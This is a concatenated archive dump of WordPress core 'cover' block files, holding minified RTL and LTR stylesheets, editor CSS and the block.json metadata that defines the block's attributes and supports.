.wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}blocks/cover/block.json000064400000005201151202620300011111 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/cover", "title": "Cover", "category": "media", "description": "Add an image or video with a text overlay.", "textdomain": "default", "attributes": { "url": { "type": "string" }, "useFeaturedImage": { "type": "boolean", "default": false }, "id": { "type": "number" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "hasParallax": { "type": "boolean", "default": false }, "isRepeated": { "type": "boolean", "default": false }, "dimRatio": { "type": "number", "default": 100 }, "overlayColor": { "type": "string" }, "customOverlayColor": { "type": "string" }, "backgroundType": { "type": "string", "default": "image" }, "focalPoint": { "type": "object" }, "minHeight": { "type": "number" }, "minHeightUnit": { "type": "string" }, "gradient": { "type": "string" }, "customGradient": { "type": "string" }, "contentPosition": { "type": "string" }, "isDark": { "type": "boolean", "default": true }, "allowedBlocks": { "type": "array" }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] }, "tagName": { "type": "string", "default": "div" } }, "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "align": true, "html": false, "spacing": { "padding": true, "margin": [ "top", "bottom" ], "blockGap": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "color": { "__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background", "heading": true, "text": true, "background": false, "__experimentalSkipSerialization": [ "gradients" ], "enableContrastChecker": false }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowJustification": false } }, "editorStyle": "wp-block-cover-editor", "style": "wp-block-cover" } blocks/cover/editor.css000064400000003614151202620300011132 0ustar00.editor-styles-wrapper .wp-block-cover{ box-sizing:border-box; } .wp-block-cover.is-placeholder{ align-items:stretch; display:flex; min-height:240px; padding:0 !important; } .wp-block-cover.is-placeholder .components-placeholder.is-large{ justify-content:flex-start; z-index:1; } .wp-block-cover.is-placeholder:focus:after{ min-height:auto; } .wp-block-cover.components-placeholder h2{ color:inherit; } .wp-block-cover.is-transient:before{ background-color:#fff; opacity:.3; } .wp-block-cover .components-spinner{ left:50%; margin:0; position:absolute; top:50%; transform:translate(-50%, -50%); z-index:1; } .wp-block-cover .wp-block-cover__inner-container{ margin-left:0; margin-right:0; text-align:left; } .wp-block-cover .wp-block-cover__placeholder-background-options{ width:100%; } .wp-block-cover .wp-block-cover__image--placeholder-image{ bottom:0; left:0; position:absolute; right:0; top:0; } [data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{ max-width:420px; width:100%; } .block-library-cover__reset-button{ margin-left:auto; } .block-library-cover__resize-container{ bottom:0; left:0; min-height:50px; position:absolute !important; right:0; top:0; } .components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{ overflow:visible; pointer-events:none; } .wp-block-cover>.components-drop-zone .components-drop-zone__content{ opacity:.8 !important; } .block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{ background-attachment:scroll; } .color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){ margin-top:24px; } .wp-block-cover:after{ min-height:auto; }blocks/cover/style.min.css000064400000044067151202620300011575 0ustar00.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}blocks/cover/editor-rtl.css000064400000003616151202620300011733 0ustar00.editor-styles-wrapper .wp-block-cover{ box-sizing:border-box; } .wp-block-cover.is-placeholder{ align-items:stretch; display:flex; min-height:240px; padding:0 !important; } .wp-block-cover.is-placeholder .components-placeholder.is-large{ justify-content:flex-start; z-index:1; } .wp-block-cover.is-placeholder:focus:after{ 